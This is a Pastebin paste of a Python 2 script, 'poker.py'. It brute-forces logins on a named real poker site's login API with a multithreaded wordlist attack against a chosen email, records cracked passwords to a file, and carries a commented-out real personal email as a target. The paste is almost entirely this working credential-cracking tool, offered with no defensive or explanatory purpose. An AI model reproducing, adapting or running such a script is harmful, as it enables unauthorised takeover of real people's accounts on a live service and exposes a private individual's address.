SHARE
TWEET

poker.py

a guest Jan 19th, 2020 177 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #coding=utf-8
  2.  
  3. import requests,sys
  4. from multiprocessing.pool import ThreadPool
  5. class main:
  6.     def __init__(self):
  7.         self.cracks=0
  8.         self.found=0
  9.         self.a="http://geaxpoker.com/api/login.json"
  10.         self.e()
  11.        
  12.     def e(self):
  13.         #self.email="mrskltnv@gmail.com"
  14.         self.email=raw_input("Email: ")
  15.         if self.email=="":
  16.             self.e()
  17.         else:
  18.             self.wlist()
  19.        
  20.     def wlist(self):
  21.         try:
  22.             #self.w=open("wlist.lst").read().splitlines()
  23.             self.w=open(raw_input("Password: ")).read().splitlines()
  24.             if len(self.w)==0:
  25.                 print("file kosong.")
  26.                 self.wlist()
  27.         except Exception as e:
  28.             print("error: %s"%e)
  29.             self.wlist()
  30.         self.thr()
  31.        
  32.     def thr(self):
  33.         try:
  34.             #self.t=ThreadPool(1)
  35.             self.t=ThreadPool(input("Thread: "))
  36.         except Exception as e:
  37.             print("!: %s"%e)
  38.             self.thr()
  39.         self.t.map(self.crack,self.w)
  40.         if self.found==0:
  41.             print "no result found."
  42.    
  43.        
  44.     def crack(self,u):
  45.         try:
  46.             r=requests.post(self.a,
  47.                 data={"device":"-1",
  48.                     "width":"320","version":"1.0","user":self.email,"pw":u}).json()
  49.             if "sessid" in r.keys():
  50.                 self.found+=1
  51.                 res="\nPASSWORD FOUND: %s & Password: %s"%(self.email,u)
  52.                 open("result.txt","a+").write(res+"\n")
  53.                 print res
  54.                 print "result: result.txt"
  55.                 raw_input()
  56.             else:
  57.                 self.cracks+=1
  58.             print("\rCracking: %s/%s"%(self.cracks,len(self.w))),;sys.stdout.flush()
  59.         except:
  60.             self.crack(u)
  61.                
  62. main()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top